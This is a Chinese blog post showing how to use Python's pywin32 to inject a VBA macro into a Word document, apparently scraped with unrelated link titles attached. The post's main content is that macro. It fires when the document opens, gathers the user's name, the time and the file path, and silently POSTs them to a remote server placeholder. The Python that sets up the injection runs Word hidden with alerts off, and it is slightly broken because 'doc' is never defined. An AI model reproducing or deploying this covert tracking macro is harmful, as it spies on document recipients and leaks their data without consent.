python extension(pywin32) 插入宏到word
来源:互联网 发布:淘宝基础题 编辑:程序博客网 时间:2024/06/14 13:54
pywin32为python扩展包,几乎可以实现所有对office的操作,下面介绍如何利用pywin32导入宏到word,并监控word文档的打开,即当word文档打开时执行vba脚本,记录相应的打开者信息,并发送信息到远程服务器上。关于pywin32如何创建文档,操作文档,网上有很多资料,但是如何通过程序导入宏代码,目前还没有找到。之所以写这篇日志,是因为找了很多天的中文英文资料,也没有结果,突然灵光一闪,在一次意外的尝试下,竟然搞定了。代码如下:
import win32com
from win32com.client import Dispatch,constants
#创建word应用程序实例
docApp = win32com.client.gencache.EnsureDispatch('Word.Application')
# run in back-control and no warnings
docApp.Visible = 0
docApp.DisplayAlerts = 0
#可以利用该实例插入文档内容等等,因与主题无关,此处省略
#导入宏代码
#通过文档实例,获取VBProject的组件,其中VBComponents中的参数至关重要,因为ThisDocument表示该文档,也就是说所有这篇生成文档的操作在该组件中都可以捕获#到,那么就可以在里面创建Document_Open函数来监控文档被打开
docCode = doc.VBProject.VBComponents("ThisDocument").CodeModule
macro = ""
#vba.bas为宏文件,需要导入到ThisDocument,ThisDocument即对应word下,按Alt+F11,调出vba窗口,该文档下的Microsoft Word对象下的ThisDocument。
string=open("vba.bas")
macro=string.read()
docCode.AddFromString(macro)
#宏代码可以在窗口中生成,左侧选择Document,右侧选择Open,会自动生成函数Document_Open。本实例中正是将提前写好的宏导入到该窗口下
#vba.bas代码如下
Private Sub Document_Open()
Dim day As String
Dim t As String
Dim user As String
Dim filepath, filename As String
Dim sendData As String
'get user name
user = Application.UserName
'get local time
day = Date
t = time
ctime = day + " " + t
'MsgBox ctime
'get this document path
filepath = ActiveDocument.FullName
'get the open document name
filename = ActiveDocument.Name
'Create http object and send message
On Error GoTo ERR
Set MyRequest = CreateObject("WinHttp.WinHttpRequest.5.1")
MyRequest.Open "POST", yourhostip, False
MyRequest.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
sendData = "user=""" + user + """ &time=""" + ctime + """&docpath=""" + filepath + """&docname=""" + filename + """" & vbCrLf
On Error GoTo ERR
MyRequest.Send (sendData)
'MyRequest.Send
MsgBox MyRequest.ResponseText
ERR:
Exit Sub
End Sub
- python extension(pywin32) 插入宏到word
- python-pywin32
- python+pywin32修改环境变量
- python -- pywin32安装
- python安装pywin32问题
- python 2.4 pywin32 下载地址:
- pywin32
- pywin32
- 将条形码插入到word文档中
- Python笔记:使用pywin32处理excel文件
- Python PIP cannot find pywin32 (on windows)
- poi生成word文档,插入图片,echar报表生成到word,word表格
- Visio图片插入到word中只显示一部分
- 怎样将word中的图片插入到CSDN博客中
- 2.Matlab画好图后,如何插入到word里面去
- 请将插入点移动到word域以外-NoteExpress
- python读取xml插入到mysql数据库
- python 插入日期数据到Oracle
- vim and python
- hdu 3509 Buge's Fibonacci Number Problem(二项分布+矩阵连乘)
- 在表上创建索引以提高性能
- 使用SubVersion+TortoiseSVN多仓库方式进行版本控制
- Qt引用Windows API方法
- python extension(pywin32) 插入宏到word
- Lucene:基于Java的全文检索引擎简介
- MVVM教程(二):开始MVVM示例
- C# 数字转换成数组
- Do I have a gcc optimization bug or a C code problem?
- 拷贝构造函数与赋值函数
- 海尔小小神童洗衣机修理(附多幅操作实拍图)
- KDE vs. GNOME:一位用户的经验之谈
- GridControl详解(十)BandedGridView